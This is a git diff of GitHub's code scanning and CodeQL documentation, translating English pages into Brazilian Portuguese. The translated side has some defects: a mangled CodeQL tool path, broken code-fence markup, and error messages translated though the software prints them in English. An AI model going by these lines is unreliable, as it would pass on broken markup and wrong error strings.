+Você pode usar mais de um problema para rastrear o mesmo alerta de {% data variables.product.prodname_code_scanning %} e os problemas podem pertencer a diferentes repositórios onde o alerta {% data variables.product.prodname_code_scanning %} foi encontrado.
 
 
-{% data variables.product.product_name %} provides visual cues in different locations of the user interface to indicate when you are tracking {% data variables.product.prodname_code_scanning %} alerts in issues.
+{% data variables.product.product_name %} fornece instruções visuais em diferentes locais da interface de usuário para indicar quando você está monitorando alertas de {% data variables.product.prodname_code_scanning %} em problemas.
 
-- The code scanning alerts list page will show which alerts are tracked in issues so that you can view at a glance which alerts still require processing.
+- A página da lista de alertas de digitalização de código mostrará quais alertas são rastreados nos problemas para que você possa ver com rapidamente quais alertas ainda precisam de processamento.
 
   ![Tracked in pill on code scanning alert page](/assets/images/help/repository/code-scanning-alert-list-tracked-issues.png)
 
-- A "tracked in" section will also show in the corresponding alert page. 
+- Uma seção "rastreado em" também será exibida na página de alerta correspondente.
 
-  ![Tracked in section on code scanning alert page](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png)
+  ![A anotação rastreada na página de alerta de digitalização do código](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png)
+
+- No problema de rastreado, {% data variables.product.prodname_dotcom %} exibe um ícone do selo de segurança na lista de tarefas e no hovercard.
 
-- On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard. 
-  
   {% note %}
 
-  Only users with write permissions to the repository will see the unfurled URL to the alert in the issue, as well as the hovercard. For users with read permissions to the repository, or no permissions at all, the alert will appear as a plain URL.
+  Somente os usuários com permissões de gravação no repositório verão a URL não desenvolvida para o alerta na issue, bem como o hovercard. Para usuários com permissões de leitura no repositório, ou sem qualquer permissão, o alerta aparecerá como uma URL simples.
 
   {% endnote %}
-  
-  The color of the icon is grey because an alert has a status of "open" or "closed" on every branch. The issue tracks an alert, so the alert cannot have a single open/closed state in the issue. If the alert is closed on one branch, the icon color will not change.
 
-  ![Hovercard in tracking issue](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png)
+  A cor do ícone é cinza porque um alerta tem um status de "aberto" ou "fechado" em cada branch. O problema rastreia um alerta para que o alerta não possa ter um único estado aberto/fechado no problema. Se o alerta for fechado em um branch, a cor do ícone não será alterada.
 
-The status of the tracked alert won't change if you change the checkbox state of the corresponding task list item (checked/unchecked) in the issue.
+  ![Hovercard no problema rastreado](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png)
 
-## Creating a tracking issue from a code scanning alert
+O status do alerta rastreado não mudará se você alterar o status da caixa de seleção do item da lista de tarefas correspondente (marcado/desmarcado) no problema.
+
+## Criando um problema de rastreamento a partir de um alerta de digitalização de código
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
 {% data reusables.repositories.sidebar-code-scanning-alerts %}
 {% ifversion fpt or ghes or ghae %}
 {% data reusables.code-scanning.explore-alert %}
-1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)."
+1. Opcionalmente, para encontrar o alerta a rastrear, você pode usar a pesquisa de texto livre ou os menus suspensos para filtrar e localizar o alerta. Para obter mais informações, consulte "[Gerenciar alertas de varredura de código para seu repositório](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts). "
 {% endif %}
-1. Towards the top of the page, on the right side, click **Create issue**. 
-   ![Create a tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-create-issue-for-alert.png)
-   {% data variables.product.prodname_dotcom %} automatically creates an issue to track the alert and adds the alert as a task list item.
-   {% data variables.product.prodname_dotcom %} prepopulates the issue:
-   - The title contains the name of the {% data variables.product.prodname_code_scanning %} alert.
-   - The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert. 
-2. Optionally, edit the title and the body of the issue.
+1. Na parte superior da página, no lado direito, clique em **Criar problema**. ![Crie um problema de rastreamento para o alerta de digitalização de código](/assets/images/help/repository/code-scanning-create-issue-for-alert.png)
+   {% data variables.product.prodname_dotcom %} cria automaticamente um problema para acompanhar o alerta e adiciona o alerta como um item da lista de tarefas.
+   {% data variables.product.prodname_dotcom %} preenche o problema:
+   - O título contém o nome do alerta de {% data variables.product.prodname_code_scanning %}.
+   - O texto contém o item da lista de tarefas com a URL completa para o alerta de {% data variables.product.prodname_code_scanning %}.
+2. Opcionalmente, edite o título e o texto do problema.
    {% warning %}
 
-    **Warning:** You may want to edit the title of the issue as it may expose security information. You can also edit the body of the issue, but do not edit the task list item or the issue will no longer track the alert.
+    **Aviso:** Você deverá editar o título do problema, pois pode expor informações de segurança. Você também pode editar o texto do problema, mas não edite o item da lista de tarefas ou o problema não irá mais rastrear o alerta.
    {% endwarning %}
 
-   ![New tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-new-tracking-issue.png)
-3. Click **Submit new issue**.
+   ![Novo problema de rastreamento para o alerta de digitalização de código](/assets/images/help/repository/code-scanning-new-tracking-issue.png)
+3. Clique em **Enviar novo problema**.
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
index 8b4a6464af..c35f771051 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
@@ -1,7 +1,7 @@
 ---
-title: Triaging code scanning alerts in pull requests
-shortTitle: Triage alerts in pull requests
-intro: 'When {% data variables.product.prodname_code_scanning %} identifies a problem in a pull request, you can review the highlighted code and resolve the alert.'
+title: Alertas de varredura de código de triagem em pull requests
+shortTitle: Alertas de triagem em pull requests
+intro: 'Quando {% data variables.product.prodname_code_scanning %} identifica um problema em um pull request, você poderá revisar o código destacado e resolver o alerta.'
 product: '{% data reusables.gated-features.code-scanning %}'
 permissions: 'If you have read permission for a repository, you can see annotations on pull requests. With write permission, you can see detailed information and resolve {% data variables.product.prodname_code_scanning %} alerts for that repository.'
 redirect_from:
@@ -21,75 +21,76 @@ topics:
   - Alerts
   - Repositories
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 
-## About {% data variables.product.prodname_code_scanning %} results on pull requests
+## Sobre os resultados de {% data variables.product.prodname_code_scanning %} em pull requests
 
-In repositories where {% data variables.product.prodname_code_scanning %} is configured as a pull request check, {% data variables.product.prodname_code_scanning %} checks the code in the pull request. By default, this is limited to pull requests that target the default branch, but you can change this configuration within {% data variables.product.prodname_actions %} or in a third-party CI/CD system. If merging the changes would introduce new {% data variables.product.prodname_code_scanning %} alerts to the target branch, these are reported as check results in the pull request. The alerts are also shown as annotations in the **Files changed** tab of the pull request. If you have write permission for the repository, you can see any existing {% data variables.product.prodname_code_scanning %} alerts on the **Security** tab. For information about repository alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
+Em repositórios onde {% data variables.product.prodname_code_scanning %} está configurado como uma verificação de pull request, {% data variables.product.prodname_code_scanning %} verifica o código no pull request. Por padrão, isso é limitado a pull requests que visam o branch-padrão ou branches protegidos, mas você pode alterar esta configuração em {% data variables.product.prodname_actions %} ou em um sistema de CI/CD de terceiros. Se o merge das alterações introduziria novos alertas de {% data variables.product.prodname_code_scanning %} no branch de destino, estes serão relatados como resultados de verificação no pull request. Os alertas também são exibidos como anotações na aba **Arquivos alterados** do pull request. Se você tiver permissão de gravação no repositório, você poderá ver qualquer alerta de {% data variables.product.prodname_code_scanning %} existente na aba **Segurança**. Para obter informações sobre os alertas do repositório, consulte "[Gerenciar alertas de {% data variables.product.prodname_code_scanning %} do repositório](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)".
 {% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %}
-In repositories where {% data variables.product.prodname_code_scanning %} is configured to scan each time code is pushed, {% data variables.product.prodname_code_scanning %} will also map the results to any open pull requests and add the alerts as annotations in the same places as other pull request checks. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
+Em repositórios em que {% data variables.product.prodname_code_scanning %} está configurado para digitalizar sempre que o código é enviado por push, o {% data variables.product.prodname_code_scanning %} também mapeará os resultados com qualquer solicitação de pull pull aberto e irá adicionar os alertas como anotações nos mesmos lugares que as outras verificações de pull request. Para obter mais informações, consulte "[Digitalizando ao enviar por push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)".
 {% endif %}
 
-If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_capc %} results" check must pass before you can merge the pull request. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
+Se o seu pull request for direcionado a um branch protegido que usa {% data variables.product.prodname_code_scanning %} e o proprietário do repositório tiver configurado as verificações de status necessárias, a verificação de "resultados de {% data variables.product.prodname_code_scanning_capc %}" deve passar antes que você possa fazer o merge do pull request. Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)".
 
-## About {% data variables.product.prodname_code_scanning %} as a pull request check
+## Sobre {% data variables.product.prodname_code_scanning %} como uma verificação de pull request
 
-There are many options for configuring {% data variables.product.prodname_code_scanning %} as a pull request check, so the exact setup of each repository will vary and some will have more than one check. 
+Há muitas opções para configurar {% data variables.product.prodname_code_scanning %} como uma verificação de pull request. Portanto, a configuração exata de cada repositório irá variar e alguns terão mais de uma verificação.
 
-### {% data variables.product.prodname_code_scanning_capc %} results check
+### Verificação de resultados de {% data variables.product.prodname_code_scanning_capc %}
 
-For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_capc %} results**. The results for each analysis tool used are shown separately. Any new alerts caused by changes in the pull request are shown as annotations. 
+Para todas as configurações de {% data variables.product.prodname_code_scanning %}, a verificação que contém os resultados de {% data variables.product.prodname_code_scanning %} é: **resultados de {% data variables.product.prodname_code_scanning_capc %}**. Os resultados de cada ferramenta de análise utilizada são mostrados separadamente. Todos os novos alertas gerados por alterações no pull request são exibidos como anotações.
 
-{% ifversion fpt or ghes > 3.2 or ghae-issue-4902 or ghec %} To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts)."
+{% ifversion fpt or ghes > 3.2 or ghae-issue-4902 or ghec %} Para ver o conjunto completo de alertas para o branch analisado, clique em **Ver todos os alertas do branch**. Isso abre a visualização completa de alerta onde você pode filtrar todos os alertas sobre o branch por tipo, gravidade, tag, etc. Para obter mais informações, consulte "[Gerenciar alertas de varredura de código para seu repositório](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts). "
 
-![{% data variables.product.prodname_code_scanning_capc %} results check on a pull request](/assets/images/help/repository/code-scanning-results-check.png)
+![Verificação de resultados de {% data variables.product.prodname_code_scanning_capc %} em um pull request](/assets/images/help/repository/code-scanning-results-check.png)
 {% endif %}
 
-### {% data variables.product.prodname_code_scanning_capc %} results check failures
+### Falhas de verificação de resultados {% data variables.product.prodname_code_scanning_capc %}
 
-If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`{% ifversion fpt or ghes > 3.1  or ghae or ghec %}, `critical`, or `high`,{% endif %} the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds.
+Se os resultados {% data variables.product.prodname_code_scanning %} encontrarem algum problema com uma gravidade de `erro`{% ifversion fpt or ghes > 3.1  or ghae or ghec %}, `grave` ou `alto`,{% endif %} a verificação irá falhar e o erro será relatado nos resultados da verificação. Se todos os resultados encontrados por {% data variables.product.prodname_code_scanning %} tiverem gravidades menores, os alertas serão tratados como avisos ou observações e a verificação será considerada bem-sucedida.
 
-![Failed {% data variables.product.prodname_code_scanning %} check on a pull request](/assets/images/help/repository/code-scanning-check-failure.png)
+![Ocorreu uma falha na verificação de {% data variables.product.prodname_code_scanning %} em um pull request](/assets/images/help/repository/code-scanning-check-failure.png)
 
-{% ifversion fpt or ghes > 3.1 or ghae or ghec %}You can override the default behavior in your repository settings, by specifying the level of severities {% ifversion fpt or ghes > 3.1  or ghae or ghec %}and security severities {% endif %}that will cause a pull request check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)".
+{% ifversion fpt or ghes > 3.1 or ghae or ghec %}Você pode substituir o comportamento padrão nas configurações do repositório, ao especificar o nível de gravidade {% ifversion fpt or ghes > 3.1  or ghae or ghec %}e gravidade de segurança {% endif %}que causarão uma falha de verificação de pull request. Para obter mais informações, consulte[Definir as gravidades causadoras da falha de verificação de pull request](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)".
 {% endif %}
 
-### Other {% data variables.product.prodname_code_scanning %} checks
+### Outras verificações de {% data variables.product.prodname_code_scanning %}
 
-Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis. 
+Dependendo da sua configuração, você poderá ver verificações adicionais em execução em pull requests com {% data variables.product.prodname_code_scanning %} configurados. Estes são geralmente fluxos de trabalho que analisam o código ou que fazem o upload dos resultados de {% data variables.product.prodname_code_scanning %}. Essas verificações são úteis para a resolução de problemas em caso de problemas com a análise.
 
-For example, if the repository uses the {% data variables.product.prodname_codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java). 
+Por exemplo, se o repositório usar o {% data variables.product.prodname_codeql_workflow %}, será executada uma verificação de **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** para cada linguagem antes que a verificação de resultados seja executada. A verificação de análise pode falhar se houver problemas de configuração ou se o pull request altera a criação para uma linguagem que a análise precisa para compilar (por exemplo, C/C++, C#, ou Java).
 
-As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
+Assim como com outras verificações de pull request, você poderá ver informações completas da falha de verificação na aba de **Verificações**. Para obter mais informações sobre configuração e solução de problemas, consulte "[Configurar {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" ou "[Solução de problemas do fluxo de trabalho de {% data variables.product.prodname_codeql %}](/code-security/secure-coding/troubleshooting-the-codeql-workflow)".
 
-## Viewing an alert on your pull request
+## Visualizando um alerta no seu pull request
 
-You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by displaying the **Files changed** tab. Each alert is shown as an annotation on the lines of code that triggered the alert. The severity of the alert is displayed in the annotation. 
+Você pode ver todos os alertas de {% data variables.product.prodname_code_scanning %} introduzidos em um pull request que exibem a guia **Arquivos alterados**. Cada alerta é exibido como uma anotação nas linhas de código que acionaram o alerta. A gravidade do alerta é exibida na anotação.
 
-![Alert annotation within a pull request diff](/assets/images/help/repository/code-scanning-pr-annotation.png)
+![Alerta de anotação em um diff de pull request](/assets/images/help/repository/code-scanning-pr-annotation.png)
 
-If you have write permission for the repository, some annotations contain links with extra context for the alert. In the example above, from {% data variables.product.prodname_codeql %} analysis, you can click **user-provided value** to see where the untrusted data enters the data flow (this is referred to as the source). In this case you can also view the full path from the source to the code that uses the data (the sink) by clicking **Show paths**. This makes it easy to check whether the data is untrusted or if the analysis failed to recognize a data sanitization step between the source and the sink. For information about analyzing data flow using {% data variables.product.prodname_codeql %}, see "[About data flow analysis](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)."
+Se você tiver permissão de gravação para o repositório, algumas anotações conterão links com contexto adicional para o alerta. No exemplo acima, da análise de {% data variables.product.prodname_codeql %}, você pode clicar em **valor fornecido pelo usuário** para ver onde os dados não confiáveis entram no fluxo de dados (isso é referido como a fonte). Neste caso, você também pode ver o caminho completo desde a fonte até o código que usa os dados (o sumidouro), clicando em **Mostrar caminhos**. Isto faz com que seja fácil verificar se os dados não são confiáveis ou se a análise não reconheceu uma etapa de sanitização de dados entre a fonte e o destino. Para obter informações sobre a análise do fluxo de dados usando {% data variables.product.prodname_codeql %}, consulte "[Sobre a análise do fluxo de dados](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)".
 
-To see more information about an alert, users with write permission can click the **Show more details** link shown in the annotation. This allows you to see all of the context and metadata provided by the tool in an alert view. In the example below, you can see tags showing the severity, type, and relevant common weakness enumerations (CWEs) for the problem. The view also shows which commit introduced the problem.
+Para ver mais informações sobre um alerta, os usuários com permissão de gravação podem clicar no link **Mostrar mais detalhes**, exibido na anotação. Isso permite que você veja todos os contextos e metadados fornecidos pela ferramenta em uma exibição de alerta. No exemplo abaixo, você pode ver tags que mostram a gravidade, o tipo e as enumerações de fraquezas comuns relevantes (CWEs) para o problema. A vista mostra também quais commits introduziram o problema.
 
-In the detailed view for an alert, some {% data variables.product.prodname_code_scanning %} tools, like {% data variables.product.prodname_codeql %} analysis, also include a description of the problem and a **Show more** link for guidance on how to fix your code.
+Na visualização detalhada de um alerta, algumas ferramentas de {% data variables.product.prodname_code_scanning %}, como a análise de {% data variables.product.prodname_codeql %} também incluem uma descrição do problema e um link **Mostrar mais** para obter orientações sobre como corrigir seu código.
 
-![Alert description and link to show more information](/assets/images/help/repository/code-scanning-pr-alert.png)
+![Descrição do alerta e link para mostrar mais informações](/assets/images/help/repository/code-scanning-pr-alert.png)
 
-## Fixing an alert on your pull request
+## Corrigir de um alerta no seu pull request
 
-Anyone with push access to a pull request can fix a {% data variables.product.prodname_code_scanning %} alert that's identified on that pull request. If you commit changes to the pull request this triggers a new run of the pull request checks. If your changes fix the problem, the alert is closed and the annotation removed.
+Qualquer pessoa com acesso push a um pull request pode corrigir um alerta de {% data variables.product.prodname_code_scanning %} que seja identificado nesse pull request. Se você fizer commit de alterações na solicitação do pull request, isto acionará uma nova execução das verificações do pull request. Se suas alterações corrigirem o problema, o alerta será fechado e a anotação removida.
 
-## Dismissing an alert on your pull request
+## Ignorar um alerta no seu pull request
 
-An alternative way of closing an alert is to dismiss it. You can dismiss an alert if you don't think it needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} If you have write permission for the repository, the **Dismiss** button is available in code annotations and in the alerts summary. When you click **Dismiss** you will be prompted to choose a reason for closing the alert.
+Uma forma alternativa de fechar um alerta é ignorá-lo. Você pode descartar um alerta se não acha que ele precisa ser corrigido. {% data reusables.code-scanning.close-alert-examples %} Se você tem permissão de gravação no repositório, o botão **Ignorar** estará disponível nas anotações de código e no resumo de alertas. Ao clicar em **Ignorar** será solicitado que você escolha um motivo para fechar o alerta.
 
-![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png)
+![Escolher um motivo para ignorar um alerta](/assets/images/help/repository/code-scanning-alert-close-drop-down.png)
 
 {% data reusables.code-scanning.choose-alert-dismissal-reason %}
 
 {% data reusables.code-scanning.false-positive-fix-codeql %}
 
-For more information about dismissing alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)."
+Para obter mais informações sobre alertas ignorados, consulte "[Gerenciar alertas de {% data variables.product.prodname_code_scanning %} para o seu repositório](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)".
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
index 322a5f346e..8304ff3dbe 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
@@ -1,7 +1,7 @@
 ---
-title: Troubleshooting the CodeQL workflow
-shortTitle: Troubleshoot CodeQL workflow
-intro: 'If you''re having problems with {% data variables.product.prodname_code_scanning %}, you can troubleshoot by using these tips for resolving issues.'
+title: Solucionar problemas no fluxo de trabalho do CodeQL
+shortTitle: Solução de problemas no fluxo de trabalho do CodeQL
+intro: 'Se você estiver tendo problemas com {% data variables.product.prodname_code_scanning %}, você usar estas dicas para resolver problemas.'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning
@@ -26,20 +26,21 @@ topics:
   - C#
   - Java
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.not-available %}
 
-## Producing detailed logs for debugging
+## Produzir registros detalhados para depuração
 
-To produce more detailed logging output, you can enable step debug logging. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)."
+Para produzir a saída de log mais detalhada, você pode habilitar o log de depuração da etapa. Para obter mais informações, consulte "[Habilitar o registro de depuração](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)".
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5601 %}
 
-## Creating {% data variables.product.prodname_codeql %} debugging artifacts
+## Criando artefatos de depuração de {% data variables.product.prodname_codeql %}
 
-You can obtain artifacts to help you debug {% data variables.product.prodname_codeql %} by setting a debug configuration flag. Modify the `init` step of your {% data variables.product.prodname_codeql %} workflow file and set `debug: true`.
+Você pode obter artefatos para ajudar você a depurar {% data variables.product.prodname_codeql %}, definindo um sinalizador da configuração de depuração. Modifique a etapa `init` do seu arquivo de fluxo de trabalho {% data variables.product.prodname_codeql %} e defina `debug: true`.
 
 ```
 - name: Initialize CodeQL
@@ -47,21 +48,21 @@ You can obtain artifacts to help you debug {% data variables.product.prodname_co
   with:
     debug: true
 ```
-The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow. 
+Os artefatos de depuração serão carregados para a execução do fluxo de trabalho como um artefato denominado `debug-artifacts`. Os dados contém os registros de {% data variables.product.prodname_codeql %}, banco(s) de dados de {% data variables.product.prodname_codeql %}, e todo(s) o(s) outro(s) arquivo(s) SARIF produzido(s) pelo fluxo de trabalho.
 
-These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} code scanning. If you contact GitHub support, they might ask for this data.
+Estes artefatos ajudarão você a depurar problemas com digitalização de código de {% data variables.product.prodname_codeql %}. Se você entrar em contato com o suporte do GitHub, eles poderão pedir estes dados.
 
 {% endif %}
 
-## Automatic build for a compiled language fails
+## Ocorreu uma falha durante a criação automática para uma linguagem compilada
 
-If an automatic build of code for a compiled language within your project fails, try the following troubleshooting steps.
+Se ocorrer uma falha na uma criação automática de código para uma linguagem compilada dentro de seu projeto, tente as seguintes etapas para a solução de problemas.
 
-- Remove the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and add specific build steps. For information about editing the workflow, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." For more information about replacing the `autobuild` step, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+- Remova a etapa de `autobuild` do seu fluxo de trabalho de {% data variables.product.prodname_code_scanning %} e adicione etapas de criação específicas. Para obter informações sobre a edição do fluxo de trabalho, consulte "[Configurar {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)". Para obter mais informações sobre a substituição da etapa `autobuild`, consulte "[Configurar o fluxo de trabalho de {% data variables.product.prodname_codeql %} para linguagens compiladas](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
 
-- If your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages C/C++, C#, and Java, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a build matrix specifying the languages you want to analyze. The default CodeQL analysis workflow uses such a matrix.
+- Se seu fluxo de trabalho não especificar explicitamente linguagens para analisar, {% data variables.product.prodname_codeql %} irá detectar implicitamente as linguagens compiladas na sua base de código. Nesta configuração, das linguagens compiladas de C/C++, C#, e Java, {% data variables.product.prodname_codeql %} analisa apenas a linguagem com mais arquivos-fonte. Edite o fluxo de trabalho e adicione uma matriz de compilação especificando as linguagens que você deseja analisar. O fluxo de trabalho de análise do CodeQL padrão usa essa matriz.
 
-  The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step:
+  Os seguintes extratos de um fluxo de trabalho mostram como usar uma matriz dentro da estratégia de trabalho para especificar linguagens e, em seguida, fazer referência a cada linguagem dentro da etapa "Inicializar {% data variables.product.prodname_codeql %}:
 
   ```yaml
   jobs:
@@ -83,138 +84,134 @@ If an automatic build of code for a compiled language within your project fails,
             languages: {% raw %}${{ matrix.language }}{% endraw %}
   ```
 
-  For more information about editing the workflow, see "[Configuring code scanning](/code-security/secure-coding/configuring-code-scanning)."
+  Para obter mais informações sobre a edição do fluxo de trabalho, consulte "[Configurar a varredura de código](/code-security/secure-coding/configuring-code-scanning)".
 
-## No code found during the build
+## Nenhum código encontrado durante a criação
 
-If your workflow fails with an error `No source code was seen during the build` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure:
+Se seu fluxo de trabalho falhar com um erro `Nenhum código fonte foi visto durante a criação` ou `O processo '/opt/hostedtoolcache/CodeQL/0. .0-20200630/x64/codeql/codeql' falhou com o código de saída 32`, isto indica que {% data variables.product.prodname_codeql %} não foi capaz de monitorar o seu código. Há várias explicações para essa falha:
 
-1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript.
-
-  ```yaml
-  strategy:
+1. A detecção automática da linguagem identificou uma linguagem compatível, mas não há código analisável dessa linguagem no repositório. Um exemplo típico é quando nosso serviço de detecção de linguagem encontra um arquivo associado a uma determinada linguagem de programação, como um arquivo `.h`, or `.gyp`, mas nenhum código executável correspondente está presente no repositório. Para resolver o problema, você pode definir manualmente as linguagens que você deseja analisar atualizando a lista de linguagens na matriz de </code>linguagem`. Por exemplo, a configuração a seguir analisará somente Go, e JavaScript.
+<pre><code class="yaml">  strategy:
     fail-fast: false
     matrix:
       # Override automatic language detection by changing the list below.
-      # Supported options are listed in a comment in the default workflow.
+      # As opções compatíveis estão listadas em um comentário no fluxo de trabalho padrão.
       language: ['go', 'javascript']
-  ```
+`</pre>
 
-   For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
-1. Your {% data variables.product.prodname_code_scanning %} workflow is analyzing a compiled language (C, C++, C#, or Java), but the code was not compiled. By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step, however, this step represents a best effort process, and may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually.  For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
-1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but portions of your build are cached to improve performance (most likely to occur with build systems like Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis. 
